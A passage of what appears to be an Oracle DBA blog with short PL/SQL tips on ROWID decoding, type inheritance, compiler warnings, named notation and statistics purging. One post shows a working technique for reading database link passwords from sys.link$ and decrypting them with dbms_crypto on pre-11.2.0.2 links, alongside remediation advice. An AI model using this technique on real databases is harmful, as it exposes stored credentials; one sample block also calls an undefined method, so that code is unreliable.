plsql

Oracle: Easily Decoding ROWID

matheusdba Leave a comment

Hi all,
Recently I needed to decode the rowid so I could find some information about it, I found this bit of code that I thought useful:

SET SERVEROUTPUT ON
DECLARE
v_rid VARCHAR2(20) ;
v_type NUMBER;
v_obj NUMBER;
v_rfno NUMBER;
v_bno NUMBER;
v_rno NUMBER;
BEGIN
v_rid := 'AAAAASAABAAAADxAAb';
dbms_output.put_line('Row_ID = "'||v_rid||'"');
dbms_rowid.rowid_info(CHARTOROWID(v_rid), v_type, v_obj, v_rfno, v_bno, v_rno);
IF v_type = 0 THEN
dbms_output.put_line('RowID Type -> Restricted');
ELSE dbms_output.put_line('RowID Type -> Extended');
END IF;
dbms_output.put_line('Object ID = "'||v_obj||'"');
dbms_output.put_line('Relative File Number = "'||v_rfno||'"');
dbms_output.put_line('Block Number = "'||v_bno||'"');
dbms_output.put_line('Row Number = "'||v_rno||'"');
END;
/

Note that I have hard-coded the rowid but it is relatively easy to either edit this or indeed to incorporate this into a procedure.

Here’s the sample output

Row_ID = "AAAAASAABAAAADxAAb"
RowID Type -> Extended
Object ID = "18"
Relative File Number = "1"
Block Number = "241"
Row Number = "27"

Hope this helps!
Cheers!

PL/SQL Generalized Invocation

matheusdba Leave a comment

Did you know we have that since 11g? The generalized invocation allows a subtype to invoke a method of a parent type (supertype) using the following syntax:

(SELF AS supertype_name).method_name

Check the example below to understand it. First, creating original type:

CREATE OR REPLACE TYPE type_test AS OBJECT (MEMBER FUNCTION return_text RETURN VARCHAR2) NOT FINAL;
/

CREATE OR REPLACE TYPE BODY type_test AS
MEMBER FUNCTION return_text RETURN VARCHAR2 IS
BEGIN RETURN 'This is the original text.'; END;
END;
/

And now creating a subtype of this object, which adds a new attribute and method as well as overriding the member’s function.

CREATE OR REPLACE TYPE subtype_test UNDER type_test (OVERRIDING MEMBER FUNCTION return_text RETURN VARCHAR2);
/

CREATE OR REPLACE TYPE BODY subtype_test AS
OVERRIDING MEMBER FUNCTION return_text RETURN VARCHAR2 IS
BEGIN RETURN (self AS type_test).return_text || ' This is an additional subtype text.'; END;
END;
/

And when calling:

SET SERVEROUTPUT ON
DECLARE
my_subtype subtype_test;
BEGIN
DBMS_OUTPUT.put_line(my_subtype.show_attributes);
END;
/
This is the original text. This is an additional subtype text.

A type can invoke the member functions of any parent type in this way, regardless of the depth of the inheritance.

Pretty nice, right?
Cheers!

WHEN OTHERS -> NULL: Hidding your PLSQL Errors?

matheusdba Leave a comment

Are you using WHEN OTHERS -> NULL to hide your PLSQL errors?
Don’t be so sure…

WHEN OTHERS exception handlers that do nothing and don’t raise errors using RAISE or RAISE_APPLICATION_ERROR can often hide code failures that result in hard to identify bugs.

To avoid this, a new PL/SQL compiler warning was added in 11g to identify those kind of situations. Check example below:

SQL> ALTER SESSION SET plsql_warnings = 'enable:all';

Session altered.

SQL> CREATE OR REPLACE PROCEDURE warning_test AS
  2  BEGIN
  3    RAISE_APPLICATION_ERROR(-20000, 'This is an Exception!');
  4  EXCEPTION
  5    WHEN OTHERS THEN
  6      NULL;
  7  END;
  8  /

SP2-0804: Procedure created with compilation warnings

SQL> SHOW ERRORS
Errors for PROCEDURE OTHERS_TEST:

LINE/COL ERROR
-------- -----------------------------------------------------------------
5/8      PLW-06009: procedure "WARNING_TEST" OTHERS handler does not end in
         RAISE or RAISE_APPLICATION_ERROR

Nice, right?!

There are also some other warnings improvements like:

  • New NO_DATA_NEEDED Predefined Exception: ORA-06548: For parallel access and pipelined table functions the caller of a pipelined function does not need more rows to be produced by the pipelined function.

Warnings:

  • Severe
    – 5018 – omitted optional AUTHID clause
    – 5018 – omitted optional AUTHID clause
    – 5019 – deprecated language element
    – 5020 – parameter name must be identified
  • Informative
    – 6016 – native code generation turned off (size/time)
    – 6017 – operation will raise an exception
    – 6018 – an infinity or NaN value computed or used

Cheers!

Guru99: PL/SQL 101 Completely Free!

matheusdba Leave a comment

Hey all!
Just passing by today to share something I found really inetresting, and the best: it’s all free!
Do you know Guru99?

It’s a preety nice repository with lots of free tutorials and guides for PLSQL, SQL and several other languages, plus some other IT-related knowledge, like Big Data, PMP and etc.

It’s not rare to have people asking me “How to Start learning SQL” or saying “All material (including grepora :D) is too much specific, we don’t have good general documentation”.
Even Oracle having a pretty nice documentation on the products and features, general concepts are usually forgotten. Aaaaand, now I have something to link on those cases! 😀

Having a look on Guru99, First I found this guide PL/SQL First Program: Hello World, including detailed steps on:
– How to access SQL* Plus
– Connecting to Database
– How to write a simple program using PL/SQL
– Declaring and usage of variables in program
– Commenting Codes

Then found an entire category PL/SQL Tutorials. Talking to Alex (Editor), seems over 120 hours were spent on it. And they were well spent, the material is really very easy to read and understand. Chapters on this Course are:
1. Introduction to PL/SQL
2. Blocks in PL/SQL
3. PL SQL First Program: Hello World
4. PL/SQL Data Types
5. Complex Data Types in PL/SQL
6. PL/SQL Decision Making Statements
7. Loops in PL/SQL
8. Subprograms: Procedures and Functions in PL/SQL
9. Exception Handling in PL/SQL
10. SQL in PL/SQL
11. Packages in PL/SQL
12. Triggers in PL/SQL
13. Object Types in PL/SQL
14. Dynamic SQL in PL/SQL
15. Nested Blocks in Pl/Sql
16. PL/SQL Identifiers

Continue reading →

11g Named and Mixed Notation in PL/SQL Subprogram Invocations

matheusdba Leave a comment

Hi All!
I was reviewing some features in Oracle and, basically, every single time I review them I find something new. Seems Oracle Databases’ features are near to infinite and we frequently find some that can really add value to our solutions.

So I decided to make a serie of posts with really quick notes about each one of them.
You can see all posts in this serie in my page of posts and some others more.

Ready? Here it goes:

Named and Mixed Notation in PL/SQL Subprogram Invocations

Prior to 11g, PL/SQL invoked from SQL had to have its parameters passed using positional notation, making it difficult to determine the meaning of parameters. Oracle 11g allows positional, named and mixed notation to be used when calling PL/SQL from SQL. Check example below:

SQL> -- Positional Notation.
SQL> SELECT add_func(10, 20) FROM dual;

add_func(10,20)
----------------
              30

SQL> -- Mixed Notation.
SQL> SELECT add_func(10, p_value_2 => 20) FROM dual;

add_func(10,P_VALUE_2=>20)
---------------------------
                         30

SQL> -- Named Notation.
SQL> SELECT add_func(p_value_1 => 10, p_value_2 => 20) FROM dual;

add_func(P_VALUE_1=>10,P_VALUE_2=>20)
--------------------------------------
                                    30

Cheers!

Converting Between SQLServer, Oracle, PostgreSQL, MySQL, Sybase and others…

matheusdba Leave a comment

Hi all!
I was asked to make a conversion from T-SQL (MSSQL) Procedure to PL/PGSQL. Regarding how boring is this task, the follow link helped me:
http://www.sqlines.com/online

I highly recommend it. The site has a commercial solution to convert all database, but some code can be converted online for free. 🙂
The conversion not fixed at all, but make a good part of the work… And all help is helpful…

Continue reading →

Statistics not Being Auto Purged – Splitting Purge

matheusdba Leave a comment

Hi all!
The post Purge SYSAUX Tablespace,  made on Fabruary 8this, is yet being high accessed. So, if  you’re interested, here it goes another post about:

Last week I supported a database was not purging statistics through MMON job, because is timeouting. Worst than simply that, the database is not purging statistics since 2012 and SYSAUX was huge!
To understand: By default, the MMON performs the automatic purge that removes all history older than:
1) current time – statistics history retention (by default 31 days)
2) time of recent analyze in the system – 1
MMON performs the purge of the optimizer stats history automatically, but it has an internal limit of 5 minutes to perform this job. If the operation takes more than 5 minutes, then it is aborted and stats not purged.

The problem was very clear in alert.log, through the entry:

Unexpected error from flashback database MMON timeout action
Errors in file /oracle/diag/rdbms/oracle/trace/oracle_mmon_1234567.trc:
ORA-12751: cpu time or run time policy violation

But it’s happening since 2012! How to address that?
Continue reading →

Vulnerability: Decrypting Oracle DBlink password (<11.2.0.2)

matheusdba Leave a comment

Hi all,
It’s not a new vulnerability, but a good thing to have personal note about it. Besides the security problem, it can save you from situations you need but don’t have the database link password.
It works only if the database link was created pre-11.2.0.2.

The vulnerability only is exposed if user has one of the follow privileges:
SYS
SYSDBA
DBA
SYS WITHOUT SYSDBA
SYSASM
EXP_FULL_DATABASE
DATAPUMP_EXP_FULL_DATABASE
DATAPUMP_IMP_FULL_DATABASE

combo_lock_page.jpg

Starting with 11.2.0.2, Oracle changed the hashes format for database link passwords, solving this vulnerability. But it only apply to dblinks created in this version or higher.
If you have dblink created when database was on 11.2.0.1, for example, and upgrade the database for 11.2.0.4, the problem remains until you recreate the database link.

So, if you are upgrading database from 11.2.0.1 or lower to 11.2.0.2 or higher, remember to reacreate database links!

The vulnerability was exposed in 2012 by Paul Wright. Here is his PoC.
And there is his post.

To make it different, below I made the same test (using a PLSQL block, to make it prettier) with an upgraded database, from 11.2.0.1 to 11.2.0.4:

testdb11204> select passwordx from sys.link$ where name='MY_DBLINK';

PASSWORDX
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C
1 row selected.
testdb11204> set serveroutput on
testdb11204> declare
2   db_link_password varchar2(100);
3  begin
4   db_link_password := '0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C';
5   dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
6  end;
7  /
Password: P4SSW0RD

Note that the simple upgrade does not solve the question. Is needed to recreate database link.

Matheus.

TPS Chart on PL/SQL Developer

matheusdba Leave a comment

Hi all,
Since last post, some people asked me about how to make the charts using PL/SQL Developer. It basically works for every kind of query/data, like MS Excel.
I’d recommend you to use with historic data, setting time as “X” axis.

Here the example for the post Oracle TPS: Evaluating Transaction per Second:

PLSQL_Graph

And get:

7days_tps

PL/SQL Developer  is a commercial tool of Allround Automations.
You can access more information about licensing here.

Have a nice day!
Matheus.